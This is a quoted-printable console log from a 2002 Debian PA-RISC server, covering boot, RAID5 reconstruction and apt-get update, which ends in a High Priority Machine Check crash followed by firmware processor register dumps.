          - 83.0%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D         \ 83.3%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D         | 83.4%   /dev/sda=
3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D   =
      / 83.6%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D         - 83.9%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D         \ 84.2%   /dev/sda3: =
|=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D      =
   | 84.4%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D         / 84.6%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D        - 84.9%   /dev/sda3: |=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D      =
  \ 85.2%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D        | 85.4%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D        / 85.9%   /dev/sda3: |=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D        -=
 86.1%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D        \ 86.3%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D        | 86.6%   /dev/sda3: |=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D       / =
86.8%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D       - 87.0%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D       \ 87.2%   /dev/sda3: |=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D   =
    | 87.6%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D       / 87.8%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D       - 88.0%   /dev/sd=
a3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D       \ 88.2%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D      | 89.3%   /dev/sda3: |=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D      / 90.0=
%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D    - 92.0%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D    \ 92.7%   /dev=
/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D   | 93.9%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D   / 95.0%   /dev/sda=
3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D   - 95.1%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D  \ 96.0%   /dev/sda3=
: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D  | 96.8%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D / 98.1%   /dev/sda3:=
 |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D- 99.6%   /dev/sda3: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D| 100.0%    =
                                                                           =
   /dev/sda3: 30103/396000 files (0.8% non-contiguous), 160550/791616 blocks
System time was Thu Sep 12 08:42:44 UTC 2002.
Setting the System Clock using the Hardware Clock as reference...
System Clock set. System local time is now Thu Sep 12 08:42:53 UTC 2002.
Calculating module dependencies... done.
Loading modules:=20
Starting RAID devices:  [events: 00000013]
 [events: 00000013]
 [events: 00000013]
 [events: 00000013]
 [events: 00000013]
 [events: 00000013]
md: autorun ...
md: considering sdg ...
md:  adding sdg ...
md:  adding sdf ...
md:  adding sde ...
md:  adding sdd ...
md:  adding sdc ...
md:  adding sdb ...
md: created md0
md: bind<sdb,1>
md: bind<sdc,2>
md: bind<sdd,3>
md: bind<sde,4>
md: bind<sdf,5>
md: bind<sdg,6>
md: running: <sdg><sdf><sde><sdd><sdc><sdb>
md: sdg's event counter: 00000013
md: sdf's event counter: 00000013
md: sde's event counter: 00000013
md: sdd's event counter: 00000013
md: sdc's event counter: 00000013
md: sdb's event counter: 00000013
md: md0: raid array is not clean -- starting background reconstruction
md0: max total readahead window set to 992k
md0: 4 data-disks, max readahead per data-disk: 248k
raid5: spare disk sdg
raid5: device sdf operational as raid disk 4
raid5: device sde operational as raid disk 3
raid5: device sdd operational as raid disk 2
raid5: device sdc operational as raid disk 1
raid5: device sdb operational as raid disk 0
raid5: allocated 5436kB for md0
raid5: raid level 5 set md0 active with 5 out of 5 devices, algorithm 2
raid5: raid set md0 not clean; reconstructing parity
RAID5 conf printout:
 --- rd:5 wd:5 fd:0
 disk 0, s:0, o:1, n:0 rd:0 us:1 dev:sdb
 disk 1, s:0, o:1, n:1 rd:1 us:1 dev:sdc
 disk 2, s:0, o:1, n:2 rd:2 us:1 dev:sdd
 disk 3, s:0, o:1, n:3 rd:3 us:1 dev:sde
 disk 4, s:0, o:1, n:4 rd:4 us:1 dev:sdf
RAID5 conf printout:
 --- rd:5 wd:5 fd:0
 disk 0, s:0, o:1, n:0 rd:0 us:1 dev:sdb
 disk 1, s:0, o:1, n:1 rd:1 us:1 dev:sdc
 disk 2, s:0, o:1, n:2 rd:2 us:1 dev:sdd
 disk 3, s:0, o:1, n:3 rd:3 us:1 dev:sde
 disk 4, s:0, o:1, n:4 rd:4 us:1 dev:sdf
md: updating md0 RAID superblock on device
md: sdg [events: 00000014]<6>(write) sdg's sb offset: 4194048
md: syncing RAID array md0
md: minimum _guaranteed_ reconstruction speed: 100 KB/sec/disc.
md: using maximum available idle IO bandwith (but not more than 100000 KB/s=
ec) for reconstruction.
md: using 124k window, over a total of 4194048 blocks.
md: sdf [events: 00000014]<6>(write) sdf's sb offset: 4194048
md: sde [events: 00000014]<6>(write) sde's sb offset: 4194048
md: sdd [events: 00000014]<6>(write) sdd's sb offset: 4194048
md: sdc [events: 00000014]<6>(write) sdc's sb offset: 4194048
md: sdb [events: 00000014]<6>(write) sdb's sb offset: 4194048
md: ... autorun DONE.
/dev/md0 done.
Checking all file systems...
fsck 1.28 (31-Aug-2002)
/dev/sda4 was not cleanly unmounted, check forced.
/dev/sda4: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D                                 =
             | 17.5%   /dev/sda4: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D                                    / 35.0%   /dev/sda=
4: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D                           - 52.5%   /dev/sda4: |=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D                 \ 70.0%   /dev/sda4: |=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
      | 90.0%   /dev/sda4: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D    / 92.0%   /dev/sda4: |=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D   =
- 95.0%   /dev/sda4: |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D  \ 95.6%   /dev/sda4: |=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D| 100.0%                                                                =
                  /dev/sda4: 25/8256 files (8.0% non-contiguous), 18237/327=
69 blocks
Setting kernel variables.
Mounting local filesystems...
/dev/sda4 on /boot type ext2 (rw)
Running 0dns-down to make sure resolv.conf is ok...done.
Cleaning: /etc/network/ifstate.
Setting up IP spoofing protection: rp_filter.
Configuring network interfaces: eth0: link ok.
done.

Setting the System Clock using the Hardware Clock as reference...
System Clock set. Local time: Thu Sep 12 11:43:41 EEST 2002

Cleaning: /tmp /var/lock /var/run.
Initializing random number generator... done.
Recovering nvi editor sessions... done.
INIT: Entering runlevel: 2
Starting system log daemon: syslogd.
Starting kernel log daemon: klogd.
Starting OpenLDAP: slapd.
Starting internet superserver: inetd.
Starting mail transport agent: Postfix
=2E
Starting OpenBSD Secure Shell server: sshd.
Starting teapop: teapop.
Starting deferred execution scheduler: atd.
Starting periodic command scheduler: cron.

Debian GNU/Linux testing/unstable elli ttyS0

elli login: root
Password:=20
Last login: Thu Sep 12 08:24:40 2002 on ttyS0
Linux elli 2.4.19-pa14 #1 SMP Wed Sep 11 12:54:30 EEST 2002 parisc unknown =
unknown GNU/Linux

Most of the programs included with the Debian GNU/Linux system are
freely redistributable; the exact distribution terms for each program
are described in the individual files in /usr/share/doc/*/copyright

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
elli:~# ap-=08 =08t-get update
0% [Working]            0% [Connecting to ftp.fi.debian.org (130.230.54.99)=
] [Connecting to non-us.debia                                              =
                                  Hit http://security.debian.org stable/upd=
ates/main Packages
                                                                           =
     Hit http://security.debian.org stable/updates/main Release
                                                                           =
     Hit http://security.debian.org stable/updates/contrib Packages
                                                                           =
     Hit http://security.debian.org stable/updates/contrib Release
                                                                           =
     Hit http://security.debian.org stable/updates/non-free Packages
                                                                           =
     Hit http://security.debian.org stable/updates/non-free Release
                                                                           =
     19% [Waiting for file] [Connecting to non-us.debian.org]              =
                                          Get:1 http://ftp.fi.debian.org un=
stable/main Packages [1945kB]
                                                        0% [1 Packages 2541=
/1945kB 0%] [Connecting to non-us.debian.org]                              =
                                  1% [1 Packages 28605/1945kB 1%] [Waiting =
for file]                                                  Get:2 http://non=
-us.debian.org unstable/non-US/main Packages [34.2kB]
                                                  1% [1 Packages 28605/1945=
kB 1%] [2 Packages 1106/34.2kB 3%]                                         =
                  Get:3 http://non-us.debian.org unstable/non-US/main Relea=
se [89B]
                                                           Hit http://non-u=
s.debian.org unstable/non-US/contrib Packages
                                                           Get:4 http://non=
-us.debian.org unstable/non-US/contrib Release [92B]
                                                           Hit http://non-u=
s.debian.org unstable/non-US/non-free Packages
                                                           Get:5 http://non=
-us.debian.org unstable/non-US/non-free Release [93B]
                                                           Hit http://non-u=
s.debian.org stable/non-US/main Sources
                                                           Hit http://non-u=
s.debian.org stable/non-US/main Release
                                                           10% [1 Packages =
177749/1945kB 9%]                                 Hit http://non-us.debian.=
org stable/non-US/contrib Sources
                                 Hit http://non-us.debian.org stable/non-US=
/contrib Release
10% [1 Packages 177749/1945kB 9%]                                 11% [2 Pa=
ckages gzip 0] [1 Packages 192229/1945kB 9%] [Waiting for file]            =
                                                            Hit http://non-=
us.debian.org stable/non-US/non-free Sources
                                                                        Hit=
 http://non-us.debian.org stable/non-US/non-free Release
                                                                        12%=
 [2 Packages gzip 0] [1 Packages 205261/1945kB 10%]14% [2 Packages gzip 0] =
[1 Packages 258837/1945kB 13%]                                             =
         16% [1 Packages 296485/1945kB 15%]18% [1 Packages 337029/1945kB 17=
%]20% [1 Packages 376125/1945kB 19%]21% [1 Packages 393501/1945kB 20%]23% [=
1 Packages 434045/1945kB 22%]                                  26% [1 Packa=
ges 497757/1945kB 25%]                                  82.9kB/s 17s30% [1 =
Packages 561469/1945kB 28%]                                  82.9kB/s 16s32=
% [1 Packages 612149/1945kB 31%]                                  82.9kB/s =
16s34% [1 Packages 655589/1945kB 33%]                                  82.9=
kB/s 15s36% [1 Packages 694685/1945kB 35%]                                 =
 82.9kB/s 15s39% [1 Packages 754053/1945kB 38%]                            =
      82.9kB/s 14s42% [1 Packages 807629/1945kB 41%]                       =
           82.9kB/s 13s45% [1 Packages 872789/1945kB 44%]                  =
                82.9kB/s 12s49% [1 Packages 945189/1945kB 48%]             =
                     82.9kB/s 12s52% [1 Packages 1008901/1945kB 51%]       =
                          82.9kB/s 11s55% [1 Packages 1056685/1945kB 54%]  =
                               82.9kB/s 10s56% [1 Packages 1078405/1945kB 5=
5%]                                 82.9kB/s 10s58% [1 Packages 1123293/194=
5kB 57%]                                   104kB/s 7s60% [1 Packages 116383=
7/1945kB 59%]                                   104kB/s 7s62% [1 Packages 1=
200037/1945kB 61%]                                   104kB/s 7s64% [1 Packa=
ges 1236237/1945kB 63%]                                   104kB/s 6s67% [1 =
Packages 1295605/1945kB 66%]                                   104kB/s 6s69=
% [1 Packages 1346285/1945kB 69%]                                   104kB/s=
 5s72% [1 Packages 1394069/1945kB 71%]                                   10=
4kB/s 5s75% [1 Packages 1450541/1945kB 74%]                                =
   104kB/s 4s77% [1 Packages 1498325/1945kB 77%]                           =
        104kB/s 4s80% [1 Packages 1553349/1945kB 79%]                      =
             104kB/s 3s83% [1 Packages 1612717/1945kB 82%]                 =
                  104kB/s 3s86% [1 Packages 1670637/1945kB 85%]            =
                       104kB/s 2s88% [1 Packages 1719869/1945kB 88%]       =
                            104kB/s 2s91% [1 Packages 1769101/1945kB 90%]  =
                                99.4kB/s 1s95% [1 Packages 1853085/1945kB 9=
5%]                                  99.4kB/s 0s98% [1 Packages 1921141/194=
5kB 98%]                                  99.4kB/s 0s                      =
                                                          Get:6 http://ftp.=
fi.debian.org unstable/main Release [82B]
                                                                           =
     Hit http://ftp.fi.debian.org unstable/non-free Packages
99% [Waiting for file]                                               99.4kB=
/s 0s                                                                      =
          Get:7 http://ftp.fi.debian.org unstable/non-free Release [86B]
                                                                           =
     Get:8 http://ftp.fi.debian.org unstable/contrib Packages [47.8kB]
97% [1 Packages gzip 0] [8 Packages 5204/47.8kB 10%]                 99.4kB=
/s 0s                                                                      =
          Get:9 http://ftp.fi.debian.org unstable/contrib Release [85B]
                                                                           =
     Hit http://ftp.fi.debian.org stable/main Sources
                                                                           =
     Hit http://ftp.fi.debian.org stable/main Release
                                                                           =
     Hit http://ftp.fi.debian.org stable/non-free Sources
                                                                           =
     Hit http://ftp.fi.debian.org stable/non-free Release
                                                                           =
     Hit http://ftp.fi.debian.org stable/contrib Sources
                                                                           =
     Hit http://ftp.fi.debian.org stable/contrib Release
99% [1 Packages gzip 323584]                                         99.4kB=
/s 0s99% [1 Packages gzip 1437696]                                        9=
9.4kB/s 0s99% [1 Packages gzip 2555904]                                    =
    99.4kB/s 0s99% [1 Packages gzip 3665920]                               =
         99.4kB/s 0s99% [1 Packages gzip 4780032]                          =
              99.4kB/s 0s99% [1 Packages gzip 5861376]                     =
                   99.4kB/s 0s99% [1 Packages gzip 6918144]                =
                        99.4kB/s 0s99% [Working]                           =
                             99.4kB/s 0s99% [8 Packages gzip 0]            =
                                  99.4kB/s 0s100% [Working]                =
                                       99.4kB/s 0s                         =
                                                       Fetched 2027kB in 24=
s (83.5kB/s)
Reading Package Lists... 0%apt-get(289): unaligned access to 0x403cf08c at =
ip=3D0x4005e4f7
Reading Package=20

apt-get(289): unaligned access to 0x403cf08c at ip=3D0x4005e4f7

High Priority Machine Check (HPMC): Code=3D1 regs=3D102ea080 (Addr=3D000000=
00)
=FF


Firmware Version  38.39

Duplex Console IO Dependent Code (IODC) revision 0

---------------------------------------------------------------------------=
---
   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
---------------------------------------------------------------------------=
---

  Processor   Speed            State           Coprocessor State  Cache Size
  ---------  --------   ---------------------  -----------------  ----------
      0       240 MHz   Active                 Functional            2 MB
      1       240 MHz   Stopped:Deconfigured   Unknown               2 MB

  Central Bus Speed (in MHz)  :        120=20

  Model: R390/2

  Available memory (bytes)    : 1073733632=20
  Good memory required (bytes):   86876160=20

  Primary boot path:    8/4.1   (dec)  =20
  Alternate boot path:  8/4.6   (dec)  =20
  Console path:         8/16/4.0   (dec)  =20
  Keyboard path:        8/16/7.0   (dec)  =20

CPU 0
WARNING:  Memory has been initialized, but not tested as a result of
          FASTBOOT being enabled.  To test memory, use the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.


Processor is starting autoboot process.

To discontinue, press any key within 10 seconds.

=07Boot terminated.


------- Main Menu ---------------------------------------------------------=
----

        Command                         Description
        -------                         -----------
        BOot [PRI|ALT|<path>]           Boot from specified path
        PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path
        SEArch [DIsplay|IPL] [<path>]   Search for boot devices

        COnfiguration [<command>]       Access Configuration menu/commands
        INformation [<command>]         Access Information menu/commands
        SERvice [<command>]             Access Service menu/commands

        DIsplay                         Redisplay the current menu
        HElp [<menu>|<command>]         Display help for menu or command
        RESET                           Restart the system
-------
Main Menu: Enter command > ser pim

PROCESSOR PIM INFORMATION

-----------------  Processor 0 HPMC Information ------------------

Timestamp =3D   Thu Sep  12 08:48:47 GMT 2002    (20:02:09:12:08:48:47)

HPMC Chassis Codes =3D 0xcbf0  0x5002  0x7d03  0x5408  0x5508  0xcbfb =20
                    =20

General Registers 0 - 31
00-03  0000000000000000  0000000000044a20  0000000040098df3  00000000403cf0=
8c
04-07  0000000000000038  0000000040111868  00000000faf00b88  00000000faf00d=
d8
08-11  0000000000050b00  00000000faf00de0  00000000faf00dd8  00000000faf00d=
e8
12-15  0000000000050b00  00000000faf00ab0  00000000faf00948  00000000faf00a=
8c
16-19  00000000faf008c0  000000000000000f  000000000009e800  00000000401118=
68
20-23  00000000403cf098  0000000000000007  00000000403cf08c  00000000403cf0=
44
24-27  00000000faf00dd8  0000000000000038  0000000000051990  00000000000402=
20
28-31  0000000000051990  0000000000000007  00000000faf01400  00000000000282=
a3

<Press any key to continue (q to quit)>=20

Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
04-07  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
08-11  000000000000022a  0000000000000000  00000000000000c0  00000000000000=
08
12-15  0000000000000000  0000000000000000  0000000000108000  00000000fd0000=
00
16-19  00000021d83d8324  0000000000000115  000000004005e4fb  0000000043ffff=
80
20-23  00000000102400db  400000004912452c  0000000000000000  00000000000000=
00
24-27  0000000000305000  0000000036d23000  00000000aaaaaaaa  00000000000003=
d0
28-31  00000000aaaaaaaa  0000000011111111  0000000046d24000  00000000103a00=
00

Space Registers 0 - 7
00-03  00000000          00000115          00000000          00000115
04-07  00000115          00000115          00000115          00000115

<Press any key to continue (q to quit)>=20

IIA Space                    =3D 0x0000000000000115
IIA Offset                   =3D 0x000000004005e4ff
Check Type                   =3D 0x20000000
CPU State                    =3D 0x9e000004
Cache Check                  =3D 0x00000000
TLB Check                    =3D 0x00000000
Bus Check                    =3D 0x00105004
Assists Check                =3D 0x00000000
Assist State                 =3D 0x00000000
Path Info                    =3D 0x00000000
System Responder Address     =3D 0x0000000000000000
System Requestor Address     =3D 0xfffffffffffa0000
Check Summary                =3D 0x80000000102846c0
Available Memory             =3D 0x0000000040000000
CPU Diagnose Register 2      =3D 0x0501000004000004
CPU Status Register 0        =3D 0x1420820000000000
CPU Status Register 1        =3D 0x8000000000000000
SADD LOG                     =3D 0x3e11b4fff1b4a0b9
Read Short LOG               =3D 0xc10200ffffd05802

<Press any key to continue (q to quit)>=20

-----------------  Processor 0 LPMC Information ------------------

Check Type                   =3D 0x00000000
IC Parity Info               =3D 0x00000000
Cache Check                  =3D 0x00000000
TLB Check                    =3D 0x00000000
Bus Check                    =3D 0x00000000
Assists Check                =3D 0x00000000
Assist State                 =3D 0x00000000
Path Info                    =3D 0x00000000
System Responder Address     =3D 0x0000000000000000
System Requestor Address     =3D 0x0000000000000000

-----------------  Processor 0 TOC Information -------------------

General Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
04-07  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
08-11  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
12-15  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
16-19  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
20-23  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
24-27  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
28-31  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00

<Press any key to continue (q to quit)>=20

Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
04-07  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
08-11  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
12-15  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
16-19  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
20-23  0000000000000000  0000000000000000  0000000000000000  00000000000000=
